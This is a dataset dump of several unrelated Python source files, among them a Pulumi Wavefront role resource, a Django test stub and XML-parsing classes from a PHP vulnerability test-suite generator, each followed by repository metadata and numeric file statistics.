from pyaofit.campaignfile import *
from pyaofit.aspectgenerator import *
from pyaofit.experimentgenerator import *
from pyaofit.cli import *
| 29.875
| 41
| 0.824268
| 28
| 239
| 7.035714
| 0.357143
| 0.390863
| 0.517767
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117155
| 239
| 7
| 42
| 34.142857
| 0.933649
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0.142857
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
32546ab1ea10bf92fca3994406ed66d667f097a9
| 974
|
py
|
Python
|
project/app/tests/tests_admin.py
|
dbinetti/brookwood
|
e3c89e4ab16f07519258f1ced5f20e64b482e47e
|
[
"BSD-3-Clause"
] | null | null | null |
project/app/tests/tests_admin.py
|
dbinetti/brookwood
|
e3c89e4ab16f07519258f1ced5f20e64b482e47e
|
[
"BSD-3-Clause"
] | null | null | null |
project/app/tests/tests_admin.py
|
dbinetti/brookwood
|
e3c89e4ab16f07519258f1ced5f20e64b482e47e
|
[
"BSD-3-Clause"
] | null | null | null |
# Django
# Third-Party
import pytest
from django.urls import reverse
def test_deploy():
assert True
# @pytest.mark.django_db
# def test_index(admin_client):
# path = reverse('admin:index')
# response = admin_client.get(path)
# assert response.status_code == 200
# @pytest.mark.django_db
# def test_user(admin_client, user):
# path = reverse('admin:app_user_changelist')
# response = admin_client.get(path)
# assert response.status_code == 200
# path = reverse('admin:app_user_change', args=(user.id,))
# response = admin_client.get(path)
# assert response.status_code == 200
# @pytest.mark.django_db
# def test_account(admin_client, user):
# path = reverse('admin:app_account_changelist')
# response = admin_client.get(path)
# assert response.status_code == 200
# path = reverse('admin:app_account_change', args=(user.account.id,))
# response = admin_client.get(path)
# assert response.status_code == 200
| 29.515152
| 73
| 0.699179
| 129
| 974
| 5.062016
| 0.24031
| 0.134763
| 0.122511
| 0.168453
| 0.753446
| 0.719755
| 0.68147
| 0.577335
| 0.577335
| 0.577335
| 0
| 0.018587
| 0.171458
| 974
| 32
| 74
| 30.4375
| 0.790582
| 0.86345
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
08a9348feb44c7bbe00e8c54946cb432be9db41f
| 14,098
|
py
|
Python
|
sdk/python/pulumi_wavefront/role.py
|
pulumi/pulumi-wavefront
|
1d199d386ee241fa2ef94553e6cae1359ec9ccf6
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2022-02-20T09:48:33.000Z
|
2022-02-20T09:48:33.000Z
|
sdk/python/pulumi_wavefront/role.py
|
pulumi/pulumi-wavefront
|
1d199d386ee241fa2ef94553e6cae1359ec9ccf6
|
[
"ECL-2.0",
"Apache-2.0"
] | 40
|
2020-08-12T08:37:24.000Z
|
2022-03-31T15:51:17.000Z
|
sdk/python/pulumi_wavefront/role.py
|
pulumi/pulumi-wavefront
|
1d199d386ee241fa2ef94553e6cae1359ec9ccf6
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = ['RoleArgs', 'Role']
@pulumi.input_type
class RoleArgs:
def __init__(__self__, *,
assignees: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a Role resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] assignees: A list of user groups or accounts to assign to this role.
:param pulumi.Input[str] description: A short description of the user group
:param pulumi.Input[str] name: The name of the user group
:param pulumi.Input[Sequence[pulumi.Input[str]]] permissions: A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
if assignees is not None:
pulumi.set(__self__, "assignees", assignees)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
if permissions is not None:
pulumi.set(__self__, "permissions", permissions)
@property
@pulumi.getter
def assignees(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of user groups or accounts to assign to this role.
"""
return pulumi.get(self, "assignees")
@assignees.setter
def assignees(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "assignees", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
A short description of the user group
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the user group
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def permissions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
return pulumi.get(self, "permissions")
@permissions.setter
def permissions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "permissions", value)
@pulumi.input_type
class _RoleState:
def __init__(__self__, *,
assignees: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering Role resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] assignees: A list of user groups or accounts to assign to this role.
:param pulumi.Input[str] description: A short description of the user group
:param pulumi.Input[str] name: The name of the user group
:param pulumi.Input[Sequence[pulumi.Input[str]]] permissions: A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
if assignees is not None:
pulumi.set(__self__, "assignees", assignees)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
if permissions is not None:
pulumi.set(__self__, "permissions", permissions)
@property
@pulumi.getter
def assignees(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of user groups or accounts to assign to this role.
"""
return pulumi.get(self, "assignees")
@assignees.setter
def assignees(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "assignees", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
A short description of the user group
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the user group
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def permissions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
return pulumi.get(self, "permissions")
@permissions.setter
def permissions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "permissions", value)
class Role(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
assignees: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
__props__=None):
"""
Provides a Wavefront Role Resource. This allows user groups to be created, updated, and deleted.
## Example Usage
```python
import pulumi
import pulumi_wavefront as wavefront
role = wavefront.Role("role")
```
## Import
User Groups can be imported using the `id`, e.g.
```sh
$ pulumi import wavefront:index/role:Role some_group a411c16b-3cf7-4f03-bf11-8ca05aab898d
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] assignees: A list of user groups or accounts to assign to this role.
:param pulumi.Input[str] description: A short description of the user group
:param pulumi.Input[str] name: The name of the user group
:param pulumi.Input[Sequence[pulumi.Input[str]]] permissions: A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[RoleArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a Wavefront Role Resource. This allows user groups to be created, updated, and deleted.
## Example Usage
```python
import pulumi
import pulumi_wavefront as wavefront
role = wavefront.Role("role")
```
## Import
User Groups can be imported using the `id`, e.g.
```sh
$ pulumi import wavefront:index/role:Role some_group a411c16b-3cf7-4f03-bf11-8ca05aab898d
```
:param str resource_name: The name of the resource.
:param RoleArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(RoleArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
assignees: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = RoleArgs.__new__(RoleArgs)
__props__.__dict__["assignees"] = assignees
__props__.__dict__["description"] = description
__props__.__dict__["name"] = name
__props__.__dict__["permissions"] = permissions
super(Role, __self__).__init__(
'wavefront:index/role:Role',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
assignees: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None) -> 'Role':
"""
Get an existing Role resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] assignees: A list of user groups or accounts to assign to this role.
:param pulumi.Input[str] description: A short description of the user group
:param pulumi.Input[str] name: The name of the user group
:param pulumi.Input[Sequence[pulumi.Input[str]]] permissions: A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _RoleState.__new__(_RoleState)
__props__.__dict__["assignees"] = assignees
__props__.__dict__["description"] = description
__props__.__dict__["name"] = name
__props__.__dict__["permissions"] = permissions
return Role(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def assignees(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
A list of user groups or accounts to assign to this role.
"""
return pulumi.get(self, "assignees")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
A short description of the user group
"""
return pulumi.get(self, "description")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the user group
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def permissions(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
A list of permissions to assign to this role. Valid options are
`agent_management`, `alerts_management`, `dashboard_management`, `embedded_charts`, `events_management`, `external_links_management`,
`host_tag_management`, `metrics_management`, `user_management`
"""
return pulumi.get(self, "permissions")
| 41.833828
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0
| 8
|
08ac5f128e5af202fafd55d2d814c65e7d036d45
| 15,400
|
py
|
Python
|
bin/Flaws_generators/InitializeSample.py
|
stivalet/PHP-Vulnerability-test-suite-generator
|
30a7374ff01f8262878bb05a1ad6ca0951e1e992
|
[
"MIT"
] | 5
|
2015-11-25T23:24:35.000Z
|
2021-12-05T15:24:24.000Z
|
bin/Flaws_generators/InitializeSample.py
|
stivalet/PHP-Vulnerability-test-suite-generator
|
30a7374ff01f8262878bb05a1ad6ca0951e1e992
|
[
"MIT"
] | null | null | null |
bin/Flaws_generators/InitializeSample.py
|
stivalet/PHP-Vulnerability-test-suite-generator
|
30a7374ff01f8262878bb05a1ad6ca0951e1e992
|
[
"MIT"
] | 3
|
2016-07-29T10:23:12.000Z
|
2021-06-13T13:49:31.000Z
|
import os
import sys
import time
import getopt
# Constants
safe = "safe"
unsafe = "unsafe"
needQuote = "needQuote"
quote = "quote"
noQuote = "noQuote"
integer = "int"
safety = "safety"
# block = "block"
# noBlock = "noBlock"
prepared = "prepared"
noPrepared = "noPrepared"
needUrlSafe = "needUrlSafe"
urlSafe = "urlSafe"
needErrorSafe = "needErrorSafe"
errorSafe = "errorSafe"
class InitialSample: # Initialize path and comment
# compatible with new structure
def __init__(self, initialSample): # XML tree in parameter
self.path = []
tree_path = initialSample.find("path").findall("dir")
for dir in tree_path:
self.path.append(dir.text)
self.comment = initialSample.find("comment").text
def addSafetyAttributes(self, initialSample):
# Classify XSS injection/sanitization by rule of OWASP
safeties = initialSample.find("safeties").findall("safety")
for safety in safeties:
if "XSS" in safety.get("flawType"):
# Rule of sanitizing needed
self.safeties[safety.get("flawType")]["rule"] = 0
if safety.get("rule") is not None:
self.safeties[safety.get("flawType")]["rule"] = int(safety.get("rule"))
# Escaping simple quoted is enough ?
self.safeties[safety.get("flawType")]["simpleQuote"] = 0
if safety.get("simpleQuote") is not None:
self.safeties[safety.get("flawType")]["simpleQuote"] = int(safety.get("simpleQuote"))
# Escaping double quoted is enough ?
self.safeties[safety.get("flawType")]["doubleQuote"] = 0
if safety.get("doubleQuote") is not None:
self.safeties[safety.get("flawType")]["doubleQuote"] = int(safety.get("doubleQuote"))
# Unsafe function & co
self.safeties[safety.get("flawType")]["unsafe"] = 0
if safety.get("unsafe") is not None:
self.safeties[safety.get("flawType")]["unsafe"] = int(safety.get("unsafe"))
# Escape of type " -> \" needed ? (TODO : improve that)
self.safeties[safety.get("flawType")]["escape"] = 0
if safety.get("escape") is not None:
self.safeties[safety.get("flawType")]["escape"] = int(safety.get("escape"))
# Escape of </script> needed ?
self.safeties[safety.get("flawType")]["scriptBlock"] = 0
if safety.get("scriptBlock") is not None:
self.safeties[safety.get("flawType")]["scriptBlock"] = int(safety.get("scriptBlock"))
# Escape of </style> needed ?
self.safeties[safety.get("flawType")]["styleBlock"] = 0
if safety.get("styleBlock") is not None:
self.safeties[safety.get("flawType")]["styleBlock"] = int(safety.get("styleBlock"))
# Prevent data from starting with "javascript" needed ?
self.safeties[safety.get("flawType")]["URL_CSS_context"] = 0
if safety.get("URL_CSS_context") is not None:
self.safeties[safety.get("flawType")]["URL_CSS_context"] = int(safety.get("URL_CSS_context"))
# Prevent data from starting with "expression" needed ?
self.safeties[safety.get("flawType")]["property_CSS_context"] = 0
if safety.get("property_CSS_context") is not None:
self.safeties[safety.get("flawType")]["property_CSS_context"] = int(safety.get("property_CSS_context"))
class InputSample(InitialSample): # Initialize the type of input and the code parameters of the class
# compatible with new structure
def __init__(self, initialSample): # XML tree in parameter
InitialSample.__init__(self, initialSample)
self.inputType = initialSample.find("inputType").text
self.code = initialSample.find("code").text
class Sanitize(InitialSample): # Initialize rules, safety, code and escape
# new version for new XML
def __init__(self, initialSample): # XML tree in parameter
InitialSample.__init__(self, initialSample)
self.flaws = []
tree_flaw = initialSample.find("flaws").findall("flaw")
for flaw in tree_flaw:
self.flaws.append(flaw.text)
self.code = []
tree_code = initialSample.find("codes").findall("code")
for code in tree_code:
self.code.append(code.text)
self.safeties = {}
tree_safeties = initialSample.find("safeties").findall("safety")
for safety in tree_safeties:
# print("S: " + safety.get("flawType"))
self.safeties[safety.get("flawType")] = {}
self.safeties[safety.get("flawType")]["safe"] = 0
self.safeties[safety.get("flawType")]["needQuote"] = 0
self.safeties[safety.get("flawType")]["noQuote"] = 0
self.safeties[safety.get("flawType")]["urlSafe"] = 0
self.safeties[safety.get("flawType")]["errorSafe"] = 0
if "XSS" in safety.get("flawType"):
# Universal safe sanitizing (Cast & co)
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
# Rule that can be always sanitize (/!\ Format)
self.safeties[safety.get("flawType")]["rule1"] = 0
self.safeties[safety.get("flawType")]["rule2"] = 0
self.safeties[safety.get("flawType")]["rule3"] = 0
self.safeties[safety.get("flawType")]["rule4"] = 0
self.safeties[safety.get("flawType")]["rule5"] = 0
if safety.get("rule1") is not None:
self.safeties[safety.get("flawType")]["rule1"] = int(safety.get("rule1"))
if safety.get("rule2") is not None:
self.safeties[safety.get("flawType")]["rule2"] = int(safety.get("rule2"))
if safety.get("rule3") is not None:
self.safeties[safety.get("flawType")]["rule3"] = int(safety.get("rule3"))
if safety.get("rule4") is not None:
self.safeties[safety.get("flawType")]["rule4"] = int(safety.get("rule4"))
if safety.get("rule5") is not None:
self.safeties[safety.get("flawType")]["rule5"] = int(safety.get("rule5"))
self.addSafetyAttributes(initialSample)
elif "Injection" in safety.get("flawType"):
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
if safety.get("needQuote") is not None:
self.safeties[safety.get("flawType")]["needQuote"] = int(safety.get("needQuote"))
#elif safety.get("needQuote") == "-1":
# self.safeties[safety.get("flawType")]["noQuote"] = noQuote
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "IDOR" in safety.get("flawType"):
#self.safe = safe if safety.get("safe") == "1" else unsafe
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "URF" in safety.get("flawType"):
if safety.get("urlSafe") is not None:
self.safeties[safety.get("flawType")]["urlSafe"] = int(safety.get("urlSafe"))
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
if safety.get("needQuote") is not None:
self.safeties[safety.get("flawType")]["needQuote"] = int(safety.get("needQuote"))
#elif safety.get("needQuote") == "-1":
# self.safeties[safety.get("flawType")]["noQuote"] = noQuote
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "SM" in safety.get("flawType"):
if safety.get("errorSafe") is not None:
self.safeties[safety.get("flawType")]["errorSafe"] = int(safety.get("errorSafe"))
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
#self.isSafe = safe if safety.get("safe") == "1" else unsafe
elif "SDE" in safety.get("flawType"):
#self.safe = safe if safety.get("safe") == "1" else unsafe
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
constraints = initialSample.find("constraints").findall("constraint")
for constraint in constraints:
if "Injection" in constraint.get("flawType"):
self.constraintType = constraint.get("type")
self.constraintField = constraint.get("field")
if "URF" in constraint.get("flawType"):
self.constraintType = constraint.get("type")
self.constraintField = constraint.get("field")
# if "IDOR" in constraint.get("flawType"):
# self.isBlock = block if safety.find("block") == "1" else noBlock
class Construction(InitialSample): # Load parameters and code beginning and end
# new version for new XML
def __init__(self, initialSample): # Add parameters showing the beginning and the end of the sample
InitialSample.__init__(self, initialSample)
self.flaws = []
tree_flaw = initialSample.find("flaws").findall("flaw")
for flaw in tree_flaw:
self.flaws.append(flaw.text)
self.code = []
tree_code = initialSample.find("codes").findall("code")
for code in tree_code:
self.code.append(code.text)
self.safeties = {}
tree_safeties = initialSample.find("safeties").findall("safety")
for safety in tree_safeties:
# print("F: " + safety.get("flawType"))
self.safeties[safety.get("flawType")] = {}
self.safeties[safety.get("flawType")]["safe"] = 0
self.safeties[safety.get("flawType")]["quote"] = 0
self.safeties[safety.get("flawType")]["needUrlSafe"] = 0
self.safeties[safety.get("flawType")]["needErrorSafe"] = 0
if "XSS" in safety.get("flawType"):
# Universal safe sanitizing (Cast & co)
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
# Rule that can be always sanitize (/!\ Format)
self.safeties[safety.get("flawType")]["rule1"] = 0
self.safeties[safety.get("flawType")]["rule2"] = 0
self.safeties[safety.get("flawType")]["rule3"] = 0
self.safeties[safety.get("flawType")]["rule4"] = 0
self.safeties[safety.get("flawType")]["rule5"] = 0
if safety.get("rule1") is not None:
self.safeties[safety.get("flawType")]["rule1"] = int(safety.get("rule1"))
if safety.get("rule2") is not None:
self.safeties[safety.get("flawType")]["rule2"] = int(safety.get("rule2"))
if safety.get("rule3") is not None:
self.safeties[safety.get("flawType")]["rule3"] = int(safety.get("rule3"))
if safety.get("rule4") is not None:
self.safeties[safety.get("flawType")]["rule4"] = int(safety.get("rule4"))
if safety.get("rule5") is not None:
self.safeties[safety.get("flawType")]["rule5"] = int(safety.get("rule5"))
self.addSafetyAttributes(initialSample)
elif "Injection" in safety.get("flawType"):
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
if safety.get("quote") is not None:
self.safeties[safety.get("flawType")]["quote"] = int(safety.get("quote"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "IDOR" in safety.get("flawType"):
#self.safe = safe if safety.get("safe") == "1" else unsafe
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "URF" in safety.get("flawType"):
if safety.get("needUrlSafe") is not None:
self.safeties[safety.get("flawType")]["needUrlSafe"] = int(safety.get("needUrlSafe"))
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
if safety.get("needQuote") is not None:
self.safeties[safety.get("flawType")]["quote"] = int(safety.get("quote"))
#elif safety.get("needQuote") == "-1":
# self.safeties[safety.get("flawType")]["noQuote"] = noQuote
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
elif "SM" in safety.get("flawType"):
if safety.get("needErrorSafe") is not None:
self.safeties[safety.get("flawType")]["needErrorSafe"] = int(safety.get("needErrorSafe"))
if safety.get("safe")is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
#self.isSafe = safe if safety.get("safe") == "1" else unsafe
elif "SDE" in safety.get("flawType"):
#self.safe = safe if safety.get("safe") == "1" else unsafe
if safety.get("safe") is not None:
self.safeties[safety.get("flawType")]["safe"] = int(safety.get("safe"))
#else:
# self.safeties[safety.get("flawType")]["unsafe"] = unsafe
constraints = initialSample.find("constraints").findall("constraint")
for constraint in constraints:
if "Injection" in constraint.get("flawType"):
self.constraintType = constraint.get("type")
self.constraintField = constraint.get("field")
if "IDOR" in constraint.get("flawType"):
self.prepared = prepared if constraint.find("prepared") == "1" else noPrepared
if "URF" in constraint.get("flawType"):
self.constraintType = constraint.get("type")
self.constraintField = constraint.get("field")
| 50.825083
| 123
| 0.556039
| 1,652
| 15,400
| 5.148305
| 0.08414
| 0.194709
| 0.193886
| 0.202469
| 0.821399
| 0.80729
| 0.737684
| 0.737684
| 0.664315
| 0.650323
| 0
| 0.007252
| 0.292662
| 15,400
| 302
| 124
| 50.993377
| 0.773524
| 0.161818
| 0
| 0.621891
| 0
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| 0.160567
| 0
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| 0.003311
| 0
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| 0.024876
| false
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| null | 0
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| 0
| 0
|
0
| 7
|
08e51c569d12afaf9c15a5743b3bb1cdfc81b857
| 180
|
py
|
Python
|
packages/extension/background/src/clients/nativeClient.py
|
Grunet/screen-reader-emulator
|
9fd6393f979c900a1f7349a9be0859fbec6c0d5e
|
[
"MIT"
] | null | null | null |
packages/extension/background/src/clients/nativeClient.py
|
Grunet/screen-reader-emulator
|
9fd6393f979c900a1f7349a9be0859fbec6c0d5e
|
[
"MIT"
] | 57
|
2020-04-05T17:25:42.000Z
|
2022-03-01T20:04:05.000Z
|
packages/extension/background/src/clients/nativeClient.py
|
Grunet/screen-reader-emulator
|
9fd6393f979c900a1f7349a9be0859fbec6c0d5e
|
[
"MIT"
] | null | null | null |
from lib.src.stdToStreams import convertStdToRxStreams
def connectToExtension(nativeAppStdin, nativeAppStdout):
return convertStdToRxStreams(nativeAppStdin, nativeAppStdout)
| 30
| 65
| 0.861111
| 14
| 180
| 11.071429
| 0.785714
| 0.374194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088889
| 180
| 5
| 66
| 36
| 0.945122
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 8
|
3ea8a9b10494bf565159fc239d09ace9112ebdca
| 155
|
py
|
Python
|
src/naarad/resources/__init__.py
|
RiteshMaheshwari/naarad
|
401ae683e38900e94898b15ab64d4410a556956c
|
[
"Apache-2.0"
] | null | null | null |
src/naarad/resources/__init__.py
|
RiteshMaheshwari/naarad
|
401ae683e38900e94898b15ab64d4410a556956c
|
[
"Apache-2.0"
] | null | null | null |
src/naarad/resources/__init__.py
|
RiteshMaheshwari/naarad
|
401ae683e38900e94898b15ab64d4410a556956c
|
[
"Apache-2.0"
] | null | null | null |
import pkg_resources
def get_dir():
"""Return the location of resources for report"""
return pkg_resources.resource_filename('naarad.resources',None)
| 25.833333
| 65
| 0.780645
| 21
| 155
| 5.571429
| 0.761905
| 0.205128
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116129
| 155
| 5
| 66
| 31
| 0.854015
| 0.277419
| 0
| 0
| 0
| 0
| 0.150943
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3ec10cd3faae352db2245c15e334b8722ca31906
| 211
|
py
|
Python
|
weak_supervision/models/__init__.py
|
matt-gardner/allennlp-weak-supervision-research
|
8597561962a8d9efe6d1725c0887c17a2899d054
|
[
"Apache-2.0"
] | null | null | null |
weak_supervision/models/__init__.py
|
matt-gardner/allennlp-weak-supervision-research
|
8597561962a8d9efe6d1725c0887c17a2899d054
|
[
"Apache-2.0"
] | null | null | null |
weak_supervision/models/__init__.py
|
matt-gardner/allennlp-weak-supervision-research
|
8597561962a8d9efe6d1725c0887c17a2899d054
|
[
"Apache-2.0"
] | null | null | null |
from weak_supervision.models.latent_alignment import LatentAlignment
from weak_supervision.models.semantic_parsing.wikitables_variable_free import (
WikiTablesVariableFreeMml, WikiTablesVariableFreeErm)
| 52.75
| 79
| 0.876777
| 20
| 211
| 8.95
| 0.75
| 0.089385
| 0.212291
| 0.27933
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085308
| 211
| 3
| 80
| 70.333333
| 0.927461
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
